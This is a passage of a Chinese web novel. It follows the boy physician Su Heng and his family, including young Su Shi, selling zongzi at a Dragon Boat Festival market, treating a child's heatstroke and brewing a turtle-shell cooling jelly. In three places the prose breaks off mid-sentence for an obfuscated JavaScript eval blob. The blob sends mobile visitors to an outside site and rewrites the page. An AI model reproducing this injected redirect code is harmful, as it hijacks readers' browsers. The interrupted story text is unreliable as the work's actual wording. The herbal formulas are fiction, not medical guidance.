“阿兄,你与阿姐说了什么?为什么不能告诉我!”苏轼扑过来一把抱住苏衡的腰,仰头委委屈屈地质问。 苏衡略一思索,便明白是怎么回事:“你阿姐说的?也没什么不可言说的事。我就是给了一些新鲜的百索款式给她,拜托她和几位堂姐们按照图样编织一批百索。” “哦……”苏轼一听,原来兄长并没有想着瞒他,憋着的那股气直接一泻千里。等苏轼的情绪平静下来,他那往日最为灵敏的鼻子终于后知后觉地闻到了粽香。 “哇,好多香香的粽子!我要吃!” “簸箕里的都是已经煮熟的,四郎君若是想吃,直接拿便是。”青枝笑眯眯道。 “阿兄?”苏轼看向苏衡,征求苏衡的同意。 苏衡垂下眼睫,看了他一眼:“不许多吃,一日最多吃一个。” “好耶!” 苏轼刚想伸手挑一个大粽子,又听见苏衡慢条斯理地说:“吃了甜粽,一会儿可不许再吃咸粽。” 苏轼:“?!” 24. 端午咸粽 “采莲,端午安康。这是自家做的水团,给几位小郎君、小娘子们甜甜嘴。”卖鱼辣羹的宋大娘一大早便来苏家送端午节礼。 水团,也叫白团,其实就是加了糖的糯米团子,是端午常见的节日食品。 “宋大娘,端午安康。劳你记挂了。”采莲接过提梁食盒,发现沉甸甸的,十分坠手,“哎哟,宋大娘,您该不会把所有的水团都拿过来了吧。这里头塞了满满一盒吧?” “都是糯米做的,不值几个钱,你就收下吧。小神医治好了我的病,上个月我生产也很顺利,成功生了个大胖小子。这还得多谢小神医呢。一点水团,聊表谢意,你就莫要推辞了。”宋大娘似乎生怕采莲把食盒还给她,解释了几句就急急忙忙地走了。 “别急着走呀,我包了不少粽子,带几个回去尝尝呀。”采莲在宋大娘身后喊道。宋大娘没回头,只在巷口背着她摆了摆手,便往左一拐,再看不见人影了。 采莲见状,笑着摇摇头,便打算关门。谁知这时,又有一道男子的声音从外头巷口遥遥传来:“且慢——” 一位带着斗笠,一身渔人打扮的男子背着一个竹编地鱼篓,气喘吁吁地小跑过来。 “阮大郎,是你呀。端午安康呀。”采莲笑吟吟朝他福了一福。 “任娘子,端午安康。”阮大郎顺了顺气,向采莲回了一个叉手礼。 “叫我采莲就行,许久没听见有人喊我‘任娘子’了。“采莲愣了一下才发应过来。她本名任采莲,父母去得早,幸好程太夫人心善,收留了她。程家上下都唤她采莲,渐渐地,倒没人记得她原本还有个姓了。 阮大郎憨憨一笑:“我原是青神人氏,几年前才搬到眉山居住。当初,我家与你家还是邻居呢。那日来府上求医,我便觉着你眼熟,只是一时半会儿想不起来罢了。” “原来是旧相识”,采莲眼底有些落寞,“我幼时曾发过一次高热,忘了不少旧事。因此,也没认出你来。” 不打紧不打紧”,阮大郎连连摆手,“对了,这是我今早捕到的几尾鲈鱼。这时节,就数鲈鱼最鲜最肥美。拿给小神医尝尝,权当端午的节礼了。” 阮大郎卸下背后的鱼篓子,从里头拎出一串用草绳捆好的鲈鱼。 “好大的鲈鱼,多谢你费心。”采莲这次有了经验,没接过这串鲈鱼,只道,“劳烦你在此稍后,我去厨房里头给你那些粽子,你带回去和阮娘子一块儿尝尝。” 阮娘子喝了苏衡开的鲤鱼汤,高高肿起的腹部总算消到正常孕肚大小,人也能喘得上气了。算算日子,阮娘子肚子里的胎儿已有八个月大了。想来也是因为阮娘子行动不便,只能在家中待产,阮大郎今日才独自来访。 “给,系红绳的是甜粽,系绿绳的,是我们家三郎想出来的新口味。你带回去给尝尝。”采莲把粽子给了阮大郎,这才接过那串鲈鱼,从容地与阮大郎道别。 一手提着一盒水团,一手拎着一串鲈鱼,采莲收获满满地回了厨房。厨房里,青枝和金蝉已经准备带去玉局观端午集市上售卖的粽子,一盒盒地打包好了。 “好肥的鲈鱼!直接上锅清蒸了,淋上热油,撒上葱花,保准好吃!”青枝雀跃道。 “这鱼哪来的?”金蝉从采莲手里接过那串鱼,解了草绳子,把几尾鱼都扔进大水盆里养着。 “阮大郎送的。还有这水团,是宋大娘送的。青枝,你不许偷吃!”采莲特意叮嘱道。 “哦……”青枝眼馋地吞吞口水。 · 玉局道观的端午集市从巳时开市,到午时就结束。虽然才短短两个时辰,但也足够百姓们买到心仪的节庆之物。况且,摊主们也是要过节的,卖了货物挣了银钱,正好欢欢喜喜地家去过端午。 苏衡的端午挣钱计划自然瞒不过苏洵和程氏。苏洵满怀大慰,还做主预定了一辆驴车。在端午这日,驴车载着苏家一行人与半车粽子,缓缓进了城。 苏轼紧紧挨着苏衡坐,掀起车帘子很是兴奋地往外看。 沿路走来,街道两边的民居门前都挂上了一束束驱邪避疫的植物,或是浅桃柳枝,或是葵蒲叶,还有的人家门首上挂的是能驱蚊的佛道艾。因着艾草驱蚊的功效,不少人家还专门用艾草做了草人,钉在门上呢。 这些挂在门前的物什,大多是眉山百姓们从自家院子种的桃树、柳树上折的,葵花、蒲叶也多的是,根本不花钱。就算自家没有,找左右邻里讨几支新鲜的柳条,也不费什么事。不像京城,汴梁那边自五月一日起,直到端午前一天,街上都会有人叫卖桃柳枝与佛道艾。听那些走南闯北贩卖地皮货商人说,那些节庆植物卖的价钱是平日里的好几倍呢。 到了玉局道观,采莲和金蝉几个就提着打包好的粽子下了车。苏轸怀里抱着一个大布包,在程氏的帮助下也下了车。看得出她很是期待接下来的集市,一双杏眼亮晶晶的。 穿过山门殿,到了二进院落,大大小小的摊子已经布置完毕,摊贩们开始不遗余力地叫卖,以此招徕客人。卖艾花的、香糖果子的、还有售卖用紫苏、菖蒲、木瓜等和香药揉成的香丸的,应有尽有。与苏家一样卖粽子和百索的小贩,自然也不少。 苏家一行来得已算晚了,好的摊位已经被占完了,最后只占得在院子东南角的一小块地。 苏轼好似天生乐观,像个小太阳一样,毫不气馁:“没关系,酒香不怕巷子深,好吃不怕位置偏!” 程氏听了,“莞尔一笑:“轼儿说得对。来,我们先把摊子布置起来。” “卖粽子嘞~不仅有甜口的桂花蜜粽、糖粽、蜜饯粽,还有咸香流油的绿豆咸肉粽嘞~喜欢虾米和咸鸭蛋的还有加料版咸粽,只此一家,不要错过~” 青枝吆喝得分外起劲,来游玩的郎君娘子们听了,都暗自好奇,糖粽、蜜粽他们都吃过,这咸口的粽子还是第一次听说。人群渐渐被吸引过来,原本没什么人的小角落,很快被围了个水泄不通。 苏家的摊子上,堆起了一座座“粽山”,每座粽山前头还摆了一个小碟子,上面放的是剪成小块的粽子,专门供人试吃。 “这个绿豆熬煮得绵软起沙,确实好吃。给我来两个纯豆沙馅儿的粽子。” “这个五花肉粽才好吃呢,也不知这肉是用什么腌制的,香得很。肥肉不腻,瘦肉不柴,肥瘦相间,满口流香。劳驾给我十个肉粽!” “我要这个全家福加料版的,添了虾米和咸鸭蛋,口感更丰富。来五个,家里一人一个。” 客人们大多是奔着新奇的咸粽来的,捆着绿绳的咸粽山很快去了一半,系着红绳的经典甜粽,几乎没有动过。 “这位娘子要不要尝尝桂花蜜粽?这是我们自家做的桂花蜜,每一朵桂 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14429948|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 花都经过精挑细选,用的蜜也是上好的野蜂蜜。一个桂花蜜粽只要五文,买五个还多送一个,很划算的。”采莲见甜粽卖不动,开始卖力推销起甜粽。 “卖,卖百索。好看的百索,三,三文一根。”苏轸见了这许多陌生人,不免有些羞怯,好不容易鼓起勇气,出声叫卖,却因为声音太小,没被买粽子的客人听见。 苏衡留意到苏轸的情况,微微弯腰,在苏轼耳边不知说了什么,苏轼听得连连点头,甚至还握起了小拳头。 “各位叔叔婶婶端午安康!这是我阿姐们亲手编的百索,样式新鲜又好看,只要三文一根!买不了吃亏,买不了上当。三文一根,物超所值!”脆生生的童音在一众成人中间突兀地响起。 众人循声望去,却是一个长得玉雪可爱,仿佛小仙童似的小郎君在大声吆喝。那小仙童雪白的腕子上系了好几根不同款式的百索。 郎君们不懂女红,只觉得那小娃娃手臂晃动,百索上的流苏随之飘动,煞是好看。眼尖识货的娘子们就不同了,一眼看出那百索是从未见过的样式,编织手法也很是新奇巧妙,纷纷心动。 “要,要买百索吗?三文一根。”苏轸见自家阿弟在卖力吆喝,暗暗给自己鼓了鼓劲儿,声音变得大了一些。 “喲,好精致的女娃娃。这百索是你编的?”有位穿着石青长裙,发髻上系着浅紫发带的妇人笑容亲切,弯下身来与苏轸对话。 “嗯,是我和堂姐们一起编的。”苏轸点头,端是一副乖巧可爱的模样。 “你的手真巧,这些百索一根比一根好看”,紫发带妇人忍不住摸了摸苏轸的脑袋,“一共七个款式,每个款式我都要十根,可以吗?” “当然可以!”苏轸被紫发带妇人温温柔柔地夸奖了,顿时信心倍增,又听对方说要足足七十根百索,喜得眉眼弯弯。 苏轸笑起来甜甜的,脸颊上还会出现两个可爱的小酒窝,这下可把那些家中有女孩儿的娘子们惹得母爱泛滥。 很快,苏轸带来的百索别被抢购一空,竟比采莲她们做的咸粽更快卖光。 “阿兄!”苏轸凑到苏衡身边,杏眸亮亮地看着他,眼里的期待满得快要溢出来。 苏衡的眼神一片柔和:“八娘做得很好。”附赠一个温柔的摸头杀。 嗷呜——被阿兄摸脑袋了。苏轸感觉自己幸福得要冒泡泡。 “哼。”苏轼心里酸酸地别过脸去。阿姐编织百索是很辛苦啦,但他也有在卖力吆喝呀。兄长为什么不夸夸他。 “三郎招徕客人也很卖力,表扬。” “!”苏轼猛地转过头去,就见苏衡眼中含笑地注视着他。 “!!!”苏轼猛地捂了捂心口,缓了一会儿,然后一头扎进苏衡的怀里。 “哼。”这下轮到苏轸心里酸酸的了。 苏轼听到苏轸的冷哼,把脑袋从苏衡怀里拔出来。 “这次,谢,谢谢你帮我卖百索。但是,阿兄是不会让给你的。哼!”苏轸说完,红着耳朵扭头就跑开了。 苏轸与苏轼这对姐弟俩老是吵架,谁也不服气谁。现在苏轸居然破天荒地向苏轼道谢了,虽然别扭了些,但也是货真价实的道谢,顿时把苏轼惊得呆住了。 “……阿兄,方才,我是不是幻听了?”良久,苏轼不确定地问道。 “……不是。” 25. 解热消暑散 “快点快点,就差你的粽叶了。” “别急啊,这个结打得有点紧,再给我点时间。好了!” “来来来,比比看,谁的粽叶最长。” 端午节又唤作“解粽节”,在这天,孩子们会热衷于玩解粽比长短的小游戏。游戏方式也简单,就是解开粽子上的绳子,把里头的粽子剥出来,捋直粽叶,比一比彼此粽叶的长短,粽叶最长者获胜短。 玉局观山门殿后,第一进院落中,有一棵百年银杏树,树干粗大,若只一人张开双臂,无法合抱,据传,是唐朝时的一位道士种下的。三五小童正在这棵银杏下玩解粽游戏,不亦乐乎。 “我赢了!”小童中有一人爆发出响亮的欢呼,其他小童纷纷叫嚷着“再比一次”。 “比就比,谁怕谁!”获胜的小童两手叉腰,正得意间,忽然感觉一阵头晕眼花,两腿一软,就往后倒去。好在他身后便是银杏树,有树干接住后背,这才没直接摔在地上。 “怎么了怎么了?”其余小童纷纷围过来。 “我,我不知道……头晕晕的……还有点恶心,想,想吐……呕——”那小童“哇”地一下,把早上吃的东西一股脑地吐了个干净。这下可把他的玩伴们吓坏了,手足无措地讨论了一阵,纷纷决定向大人们求援。 “出事了——出事了——” “快来人呀,救命呀——” 几个小童扯着嗓子,喊得震天响。 “前边怎么这般喧哗,发生什么事了?”玉局观内负责维持集市秩序的道长匆匆赶来,发现有小童身体不适,四肢无力,呕吐不止,连忙唤同观师兄弟帮忙,把那疑似中暑的小童挪进了阴凉的室内。 “道长叔叔……”那小童吐过一回,声音都有些发虚,捂着肚子哭丧着脸道,“我,我想如厕……” “我扶你去。”一位年轻小道长主动站了出来。 “师叔,您看这个孩子,到底是得了什么病?”等那小童被领着去了茅房后,有位瘦瘦高高的道长忍不住问一旁的尊长。 那辈分颇高的老道士一甩拂尘,示意瘦高个道长看向外头:“你看这日头,毒辣得很。自立夏以来,这天就没下过一场雨。烈阳当空,晴日无云,那小童在室外玩耍,多半是犯了暑邪。” “师叔可有医治之法?”瘦高道长追问道。 “唐慎微那老家伙的徒弟不就在观中么?人家可是眉山人人皆知的‘小神医’,哪里用得着你师叔我出手。快去把那苏三郎给请过来吧。” “是,师叔。” 苏洵和苏衡跟着瘦高道长,进了三清殿。苏洵一眼就看见了老熟人,忙行了个叉手礼:“无碍子大师,端午安康。方才在外头怎么没见着您?” 原来,那手持拂尘的老道士,正是无碍子。 “外头又热又晒,我年纪大了,扛不住,只好在这三清殿中躲个清凉自在了。”无碍子回了一礼,笑眯眯地道。 苏衡也向无碍子行礼问好,环顾四周,并有看见病人,不由问道:“请问感范暑邪的病人在何处?” 虽然苏衡年纪尚小,但有着贵生道长亲传弟子的身份,瘦高道长并不敢小看他,要是真算起来,这位苏三郎的辈分比他还要高呢。因此,听到苏衡发问,瘦高道长连忙恭恭敬敬地答道:“那小童腹泻,正在茅房方便。估计一会儿就出来了。” 果然,不到一刻钟,那小童就在年轻道长的搀扶下,脚步虚浮地回到殿中。一张小脸血色全无,像是整个人都虚脱了。 小童的病症诊断起来并不复杂,苏衡为他诊完脉,略一思索,便开了一方张药方:“炎夏火热,流金烁石,暑邪侵袭,故而呕吐腹泻。你先饮一碗淡盐水,在此稍作休息。我给你开一剂解热消暑散。待观中道长煎好后,分三次服用。” 那小童虚弱地点点头,一双眼珠子倒是还挺活泛,一眨不眨地盯着苏衡诊脉的全过程。许是心中惊奇,毕竟苏衡与他年纪相仿,但却能像那些一把胡子的老郎中一样,为人诊病开方了。 “你阿父阿娘呢?”苏衡又问。 “我没有爹娘……”小童嗫嚅道。 瘦高道长知道小童的来历,便补充道:“这孩子与他的同伴都是孤儿,在与我们观隔着一条街的慈济院中长大。他们时常来观中玩闹,我们对这些小娃娃也都眼熟。今日端午,观中举办集市,这几个估计是瞒着院中管事偷偷溜出来玩耍的。” 苏衡点头,原来如此。 无碍子好奇地凑过来,眯着眼笑问:“小苏衡,这方子可否容贫道一观?” 苏衡将药方递过去,无碍子眯着眼细细看了一遍,口中念念有词:“青蒿一两,干葛一钱,香薷一钱,茯苓一两,白术三钱,白扁豆二钱,陈皮一钱。妙哉!青蒿解暑去热,茯苓利水渗湿,以此二药为君药,暑热尽从下而出,且白术有健脾之效,服此解热消暑散,暑热尽退而不伤脾胃,不愧是那老家伙教出来的徒弟。” “大师谬赞,犬子只学得一点皮毛罢了。”苏洵听见无碍子夸赞苏衡全部夸在点上,真情实感,字字珠玑,顿时觉得全身都舒坦了,他那许久没有得到满足的“凡尔赛”炫子欲望又开始蠢蠢欲动。 难得无碍子大师这般积极地搭了一个“舞台”,苏洵忍不住想上去“炫舞”一把:“大师,你是不知道啊,前两个月贵生道长不是离开眉山远游去了吗?我们县中原本有许多人都想找贵生道长看病,道长这一走,归期不定,但病总得要治吧?于是,那些病人就纷纷找上了犬子。” “这件事,贫道也略有耳闻。唐慎微这个老家伙,说风就是雨,想到什么就做什么,随性惯了。这种一甩手把烂摊子扔给旁人的事儿啊,他可没少做。”无碍子倒是颇有谈兴,竟与苏洵你一言我一语地唠嗑起来。 一个沉迷于炫耀儿子,一个执着于吐槽老友,两人的表达欲都得到了满足,彼此都很享受这一场谈话。 “……”苏衡见两人聊得火热,那小童喝了一碗淡盐水,情况已经好了不少,便独自离开了大殿,把“舞台”留给苏洵和无碍子。 在观中漫无目的地走着,不知不觉,苏衡来到那棵百年银杏树下。盛夏的银杏叶绿油油一片,像一把把轻薄的小扇子。白得晃眼的日光倾斜而下,那浓密的银杏树冠下多了一束束笔直笔直的光束。 不远处,端午集市依然热闹而喧嚣。叫卖吆喝声,讨价还价声,嬉笑打闹声,凡此种种,不绝于耳。天上的烈日明亮炽热,就 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14439822|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 连枝头的鸟儿都躲进了密叶中,但这丝毫不影响人们过节的欢乐。纵天上骄阳似火,人间的依旧热火朝天。 “有将近一个一个月没下雨了……”苏衡望着那烈日下欢乐的市集,轻声道。 “可不是么。”有人不知何时,悄无声息地站到了苏衡身后。若不是他突然出声,苏衡都丝毫没有察觉到此人。 “师傅?您何时回来的。”苏衡转头看去,与贵生道人目光相接。 “就在方才。”贵生道人浅笑着捋了捋长长的白胡子,朝他点点头,“解热消暑散,这个方子我可没教过你。你自己琢磨出来的吧?很不错。” “您方才就在殿中。”苏衡笃定地道。 贵生道人哈哈一笑:“没错。无碍子那老东西,背着我说了我不少坏话啊!” 苏衡:“……”师傅,您和无碍子大师对彼此的称呼风格还真是统一。一位一口一个“老家伙”,另一位则是满口“老东西”。 “我不在眉山这些日子,听说你折腾出不小动静。嗯?眉山小神医?”贵生道人调侃起自家徒弟,也从不心软,“那宋大娘和阮娘子的病,你诊治得不错,为师要好好赏你。” “不必了,师傅。治病救人,是医者本分。”苏衡想也不想就拒绝了,他师傅赏的从来没有什么好东西。 “真不要啊?那可是你师傅辛辛苦苦从大老远扛回来的,满满一大麻袋呢。”贵生道人喜滋滋地说。 “不了,谢师傅好意。”苏衡淡声道。 “切,不识货。”贵生道人不满地撇撇嘴。 苏衡:“……”怎么感觉师傅远游一趟回来,骨子里的恶趣味越发不遮掩了。之前好歹还会在他面前装装样子,显得自己很有为人师长的威仪。现在,倒是连装都不装了。 “阿兄——阿兄——你在哪里?” 苏轼原本以为自家兄长只是去替人诊个病,很快回来,没想到等了半天,端午集市还剩半个时辰就结束了,也没看见苏洵和苏衡回来。正好采莲她们的粽子和苏轸带地百索都卖完了,程氏便做主便收了摊,几人齐齐去三清殿与苏洵父子俩会和。 到了三清殿,苏洵还在与无碍子谈笑甚欢,却唯独不见苏衡。这下子,苏轼可就不干了,闹着要找他阿兄。程氏也担心观中人多,苏衡走散了,便让做事稳妥的采莲与苏轼一道去找苏衡。 “喲,你那黏糊糊的阿弟正在找你呢。”贵生道人一眼看见苏轼这个人群中的小不点。 “师傅,徒儿失陪了。迟些再去天庆观找您。”苏衡也瞧见苏轼了。他阿弟那小包子脸鼓鼓的,大眼睛里还含着两泡眼泪,就差哭出来了,好不可怜。 “去吧去吧。你们兄弟两个跟连体婴似的,谁也离不得谁。”贵生道人没眼看,摆摆手示意苏衡赶紧走。 “……”苏衡抿了抿唇,“师傅,端午安康。”说完,苏衡便往人群中走去。 “哼。算你小子有良心,没有见了阿弟就忘了师傅!”贵生道人冷哼一声,活动了一下手脚,站没站像地靠着那银杏,仰头望了望。 空中烈日高悬,每一丝水汽都被蒸发殆尽。 “天久不雨,只怕干旱成灾啊。”贵生道人眯了眯眼,喃喃道。 26. 冰雪凉水 端午过后,天气越发炎热,就连树上聒聒叫嚷个不停的夏蝉也被热得偃旗息鼓。街上的青石板路被烈日晒得滚烫,若是不穿鞋走上去,能把人脚底烫伤。街边叫卖的小贩被热得汗流如瀑,擦汗的巾子湿得都能拧出水来,吆喝声也有气无力的。 整个眉山县仿佛被放在大蒸笼上,热气不住地从下面往上冒,却又扩散不开去,又从上头折返回来。眉山的百姓如同被晒蔫了的小白菜,奄头耷脑地,丝毫不想动弹,一动弹就出汗。 这样的炎炎夏日,就连纱縠行巷口的大黄狗都嫌弃得直吐舌头。唯一高兴的,也就只有那些售卖各色凉水冷食的冷饮摊摊主了。 暑热难消的时节,或是来上一碗沙糖绿豆甘草冰雪凉水,酣畅淋漓,或是吃上一份沙糖冰雪冷元子,通体舒畅。 “来一碗冰雪凉水!快!” “要两份冰雪冷元子!” “劳驾,再续一碗绿豆汤!” 冷饮摊前有棵树冠巨大、枝叶浓密的大榕树,树下摆着两张桌子,十数把椅子,坐满了来买凉水的客人。摊主生意火爆得很,晚来的客人都只能顶着大太阳排队。 苏衡跟着贵生道人来到冷饮摊时,正好看见一个客人刚接过凉水就往嘴里倒,咕嘟咕嘟喝了个精光。 “今年这夏日怎么感觉格外炎热,能把人晒掉一层皮。我现在就指望着这点子冰雪凉水续命了。那客人感慨道。 “徒弟,你要喝凉水还是吃冰雪元子?你师傅我请客,放开了吃!”贵生道人冲苏衡摇了摇鼓鼓囊囊的钱袋子。 “师傅,夏日过食冷饮,易受寒邪,引起寒泄。”苏衡面无表情地提醒道。 “喝一两碗能有什么事。”贵生道人直接买了两份绿豆冰雪凉水,硬是塞了一份给苏衡,“快喝。喝完了我再和你说说我这次远游寻到的方子。” 苏衡无法,只好接过来,小口慢饮,斯文得很。反观贵生道人,直接就对嘴喝了一大口,还有不少凉水从嘴边溢了出来,被他直接用袖子擦掉了。 贵生道人几口就喝完了那份凉水,见苏衡还剩大半,翻了个白眼:“怎么跟小娘子似的,一小口一小口地喝。走了走了,回观里。” 苏衡捧着凉水,默默跟上。 原本,苏衡按照往日惯例,用过午食,便乘车至天庆观。没想到贵生道人诊完今日的病人后,拉住苏衡不让他走,说是前段时间得了一个奇方,要与苏衡一起研究。 听说有奇方,苏衡自然很感兴趣,便答应留下了。没想到贵生道人用方子勾得人心痒痒,自己却突然说天气炎热,嘴里没味,想喝观前冷饮摊的冰雪凉水,否则没有心情研究方子。碰上个无赖师傅,苏衡无奈何,只好陪着贵生道人走了一趟。 现下,冰雪凉水也喝了,贵生道人总算心满意足,回房里拖出了一个大麻袋,颇为得意地拍了拍袋子:“徒弟,来,为师给你看个好东西。” 苏衡解开束口麻绳,打开一看,里头装满了硬梆梆、黑乎乎的片状物:“这是……龟板?” “不错。”贵生道人从怀里掏出一张泛黄的草纸,“这些龟板是这个奇方的君药,我废了不少功夫才收到这一麻袋。诺,你看看。” 苏衡很是期待地接过草纸一看,顿时沉默了。 龟板、地黄、土茯苓、绵茵陈、金银花、甘草、火麻仁……这个配伍好生眼熟,与后世龟苓膏的配方很是相似。 “近来暑热不退,这方子能滋阴润燥,清热解暑,而且用起来也没太多禁忌,一般人都能吃得。”贵生道人继续道,“前儿端午,为师不是说了要奖赏你吗?这个方子和这一麻袋龟板你拿回家去,全归你了。” 苏衡:“……”师傅,他没记错的话,当时他就已经拒绝过了。 “对了”,贵生道人又想起一件事,“这个方子叫龟苓解暑膏,你拿回家让采莲熬好了,送些给我尝尝。千万记得往上头浇些蔗浆,我不爱吃苦的。” 苏衡了然。所以师傅,这才是您的真实目的吧。 “行了行了,今日就到这里,家去吧,别打扰老人家用暮食。”贵生道人摆摆手,催苏衡赶紧走。 “……是。等龟苓解暑膏熬好了,我再给您带过来。” · 夏日天热,有钱买冰块的都是富裕的大户人家,平头百姓只能靠井水消夏。因而,一到夏日,眉山百姓对井水的需求就急剧提升。特别是今年夏日尤其炎热,井水已经开始有些供不应了。 苏洵一家并不富裕,日子过得紧巴,并没有余钱请人挖井。家中无井,便只能去公用的水井打水。然而,整个纱縠行统共只有一口公用大水井。采莲和金蝉两人扛着扁担,提着水桶赶到时,那唯一一口圆井前已排起了长队。 “采莲,金蝉,你们也来打水啦?”同住纱縠行的邻居们纷纷打招呼。 “是啊。近来天热,家中井水用得快,两日前才打的两大桶水,今日就只剩桶底浅浅一层了。”采莲笑着应道。 “可不是么。也不是今年怎么了,比往年热些也就罢了,还迟迟不下雨,再这么下午,田里的庄稼都要活不成了。”有人发愁道。 “唉,老天爷不下雨,咱们有什么办法!过得一天是一天吧。”有人悲观叹气。 水井前排队的众人纷纷开始讨论起今年异常的天气与地里的庄稼,气氛一时陷入低迷。 采莲和金蝉不知说什么好,便保持沉默,心里也很是沉重。好不容易排到她们,两人打了满满两大桶井水,用扁担挑着走回家。 快要走到苏宅时,走在前头的采莲正巧看见停在门口的驴车。苏衡正扶着青枝的手臂,踩着下马石,从驴车上下来。 “三郎回来了?方才排队打水费了些功夫,暮食很快便好。”采莲道。 “不急,莲姨您慢慢来。”苏衡朝采莲轻轻点头,这才回身示意青枝将驴车上的那一麻袋龟板搬下来。 “这一大袋鼓鼓囊囊的是什么?”采莲好奇问道。 “龟板。”苏衡语气平静道。 “哦。”采莲点头,随即反应过来,“哈——?” 前因后果说来话长,苏衡便简单解释道:“这些龟板是一个膏方的主药,等用过暮食,我再与您细说。” “成。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449429|152820||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 采莲和金蝉挑着井水去了厨房,青枝也拖着一麻袋龟板跟着去帮忙。苏衡独自走向正堂,还没跨过门槛,望眼欲穿的苏轼便迈着小短腿“哒哒哒”地跑了过来:“阿兄!你回来啦!” 苏衡习以为常地张开双臂,抱住了扑过来的苏轼,目光柔和:“今日在家有没有乖乖听阿父的话?” “有!我今日背了三首诗呢!”苏轼翘起了小鼻子。 “有没有和你阿姐吵架?”苏衡不动声色。 “这个……”苏轼一下子语塞。 “阿兄,你饿了吗?我给你留了点心,我去拿过来?”苏轼小眼神乱飞,顾左右而言他。 苏衡轻轻看他一眼:“不必,一会儿就用暮食了。” “哦,好。”苏轼拉着苏衡的衣袖,红着小脸保证,“阿兄,我下次一定控制住脾气,不与阿姐吵架。” “嗯。”苏衡微微颔首。 采莲手脚麻利,做饭也利索,半个时辰不到,便做好一桌的的菜。暮食不用食过饱,加上天气炎热之故,今晚的主食没有米饭,而是凉拌奈花索粉。 奈花索粉是类似绿豆粉的一种粉干,采莲用滚水把粉煮熟后,又过了两遍凉水,淋上调好的酱汁,最后放上一朵姜花做装饰。 苏轼吸溜粉条吃得喷香,很快消灭掉一碗奈花索粉。 饭后水果是番石榴。采莲用井水镇过,再切成小块,方便取食。这是眉山人家常用的冰镇法子。时令瓜果用井水镇上一镇,冰凉脆爽,口感更上一层。还有那些没钱买冰的人家,也会把自家熬煮的绿豆汤、荔枝膏水等饮子,镇一镇井水,好让饮子平添一丝凉气,喝起来滋味更佳。 “莲姨,我有两个方子,一个是饮子配方,一个是我师父给的解暑膏配方,您可否看看能不能试着做出来。若是能成,我们可以到外头摆摊售卖。”饭后,苏衡如约找上了采莲,给了她两张配方。 “这个主意好。这个时节,外头那些凉水饮子铺生意可好了,客人一茬一茬地来,榕树底下那些凳子,从早到晚都坐满了人。”采莲一听就连连点头,表示赞成。 “乌梅饮……龟苓解暑膏……”采莲辨认着配方上的字,新奇道“我还是头一回听说用龟板熬膏的。还有着乌梅饮,除了乌梅又是陈皮又是甘草,熬煮好了口感定然十分丰富。” “乌梅饮口感酸甜,这龟苓解暑膏却是有些微苦,还需浇一些蔗浆或者桂花蜜在上头,尝起来才好吃。”苏衡道。 “行,没问题,我今晚就照着配方,看看能不能做出来。”采莲仔仔细细地把两张配方对齐折叠,贴身收好,“我原本也琢磨着要不要煮点绿豆甜水之类饮子,拿井水镇得冰凉凉地,再拿到外头去卖。只是我们这儿家家都会做绿豆甜水,我拿不准会不会有人来买。如今有了这两张独特新奇的配方,那就不愁没客人光顾了。” 苏衡轻轻点头。端午卖粽子与百索的银钱到底有限,家中仍旧面临银钱不足,入不敷出的困境。这次卖解暑饮子和解暑膏若是能成,兴许便能小赚一笔。而且这古法龟苓膏与后世龟苓膏不同,滋阴润燥,降火除烦的功效更强,也算是一种食疗了。 27. 买卖配方 卯时未到,晨光熹微之时,采莲已起身梳洗,比平时早起了半个时辰。因心里惦记着今日卖乌梅饮与解暑膏的事,采莲昨夜睡得并不安稳,梦里也在反复练习熬制龟苓解暑膏。 不过采莲早早起身,也有一个好处。早些把乌梅饮与解暑膏做出来,便能早些用井水镇着,等到售卖时,口感才会更加冰凉。虽然她昨日已经学会了做法,能完美地按照配方做出成品,但她总不能卖隔夜的吃食给客人。 因此,采莲一大早便起了身,打算重新熬煮新鲜的乌梅饮与龟苓解暑膏。毕竟饮食最讲究新鲜,就算不能现做,至少也要当日做当日卖,这才是做饮食生意人应该有的职业操守。 乌梅饮做起来比龟苓解暑膏简单多了。只需将乌梅、甘草、陈皮、山楂等材料洗净,加入清水慢煮,最后再放入些许糖渍桂花,冒着热气的乌梅饮便做好了。 在熬煮乌梅饮期间,采莲已经把从秦家医馆买来的土茯苓、金银花、火麻仁等药材用清水洗了好几遍,把上面的灰尘和泥土洗得干干净净。然后再把龟板与土茯苓加水放入砂锅中熬煮,金银花、绵茵陈等其余草本类药材则加水放入另一个砂锅中熬煮。 熬制解暑膏要花的功夫和时间可比乌梅饮要多了不知多少倍。第一锅乌梅饮都已经做好并放到井水里冰镇了,那两锅药汤还在火上继续煮着。 “咦——”青枝一进厨房,就嫌弃地捏住了鼻子,“厨房里怎么一股子药材的味道,一大早的,难道家里有人生病了?” 